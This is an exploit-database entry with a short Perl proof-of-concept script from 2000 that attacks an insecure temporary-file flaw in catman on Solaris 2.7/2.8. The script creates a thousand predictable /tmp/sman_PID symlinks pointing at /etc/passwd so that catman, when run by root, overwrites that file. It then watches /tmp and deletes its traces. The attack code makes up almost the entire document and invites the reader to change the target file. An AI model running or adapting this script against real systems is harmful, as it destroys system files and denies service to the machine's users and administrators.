Exploit for unknown platform in category dos / poc
=============================================================
Solaris 2.7 / 2.8 Catman - Local Insecure tmp Symlink Exploit
=============================================================
#!/usr/local/bin/perl -w
#
# The problem is catman creates files in /tmp insecurly.
# They are based on the PID of the catman process,
# catman will happily clobber any files that are
# symlinked to that file. The idea of this script is to
# create a block of symlinks to the target file with
# the current PID as a starting point. Depending on
# what load your system has this creates 1000 files in
# /tmp as sman_$currentpid + 1000.
#
# The drawback is you would have to know around when root
# would be executing catman. A better solution would be
# to monitor for the catman process and create the link
# before catman creates the file. I think this is a
# really small window however. This worked on a patched
# Solaris 2.7 box (August 2000 patch cluster)
#
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# [email protected] 11/21/2000 Vapid Labs.
# http://vapid.betteros.org
$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant
while($X < $Y) {
print "Linking /tmp/sman_$X to $clobber :";
# Change $clobber to what you want to clobber.
if (symlink ($clobber, "/tmp/sman_$X")) {
print "Sucess\n";
}
else { print "failed, Busy system?\n";}
$X=$X+1;
}
#watch /tmp and see if catman is executed in time.
while(1){
$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
open (list,$list) or "die cant open ls...\n";
while(<list>) {
@args = split "_",$_;
chop ($args[1]);
if ($args[1] >= $Xc && $args[1] <= $Y){
print "Looks like pid $args[1] is the winner\n cleaning....\n";
`/usr/bin/rm -f /tmp/sman*`;
exit(1);
}
}
}
# 0day.today [2018-02-19] #